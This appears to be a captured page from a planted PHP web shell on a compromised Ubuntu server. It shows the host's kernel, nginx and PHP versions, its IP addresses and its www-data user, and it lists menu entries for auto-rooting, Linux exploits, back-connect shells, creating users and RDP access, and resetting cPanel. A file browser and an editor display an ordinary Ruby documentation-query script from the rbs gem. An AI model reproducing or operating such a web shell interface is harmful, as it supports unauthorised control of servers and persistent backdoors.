Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
gems /
3.0.0 /
gems /
rbs-1.0.4 /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
annotate-with-rdoc
4.27
KB
-rw-r--r--
console
338
B
-rw-r--r--
query-rdoc
2.91
KB
-rw-r--r--
rbs-prof
189
B
-rw-r--r--
run_in_md.rb
1.17
KB
-rw-r--r--
setup
150
B
-rw-r--r--
sort
1.81
KB
-rw-r--r--
steep
103
B
-rw-r--r--
test_runner.rb
710
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : query-rdoc
#!/usr/bin/env ruby require "rdoc" def store_for_class(name, stores:) stores.find do |store| store.find_class_named(name) || store.find_module_named(name) end end def format_comment(comment) out = RDoc::Markup::Document.new out << comment formatter = RDoc::Markup::ToMarkdown.new out.accept(formatter) end def comment_for_constant(name, stores:) *class_components, const_name = name.split(/::/) class_name = class_components.join("::") klass = store_for_class(class_name, stores: stores)&.yield_self {|store| store.find_class_named(class_name) || store.find_module_named(class_name) } constant = klass.constants.find do |const| const.name == const_name end if constant&.documented? format_comment(constant.comment) end end def comment_for_class(class_name, stores:) klass = store_for_class(class_name, stores: stores)&.yield_self {|store| store.find_class_named(class_name) || store.find_module_named(class_name) } if klass&.documented? format_comment(klass.comment) end end def comment_for_method(klass, method, stores:) method = store_for_class(klass, stores: stores)&.load_method(klass, method) if method&.documented? out = RDoc::Markup::Document.new out << method.comment if method.arglists out << RDoc::Markup::Heading.new(1, "arglists 💪👽🚨 << Delete this section") arglists = method.arglists.chomp.split("\n").map {|line| line + "\n" } out << RDoc::Markup::Verbatim.new(*arglists) end out.accept(RDoc::Markup::ToMarkdown.new) end rescue RDoc::Store::MissingFileError nil end if ARGV.empty? puts 'query-rdoc [subject]' puts " subject ::= ClassName (class, module, or constant)" puts " | ClassName.method (singleton method)" puts " | ClassName#method (instance method)" exit end stores = [] RDoc::RI::Paths.each true, true, false, false do |path, type| STDERR.puts "Loading store from #{path}..." store = RDoc::RI::Store.new(path, type) store.load_all stores << store end subject = ARGV[0] case when match = subject.match(/(?<constant_name>[^#]+)#(?<method_name>.+)/) STDERR.puts "Finding instance method #{match[:constant_name]} # #{match[:method_name]} ..." comment = comment_for_method(match[:constant_name], "##{match[:method_name]}", stores: stores) when match = subject.match(/(?<constant_name>[^.]+)\.(?<method_name>.+)/) STDERR.puts "Finding singleton method #{match[:constant_name]} . #{match[:method_name]} ..." comment = comment_for_method(match[:constant_name], "::#{match[:method_name]}", stores: stores) else STDERR.puts "Finding class/module/constant #{subject} ..." comment = comment_for_class(subject, stores: stores) || comment_for_constant(subject, stores: stores) end if comment STDERR.puts "Printing document..." comment.each_line do |line| puts "# #{line}" end else STDERR.puts "Nothing to print; failed to query the document..." exit 1 end
Close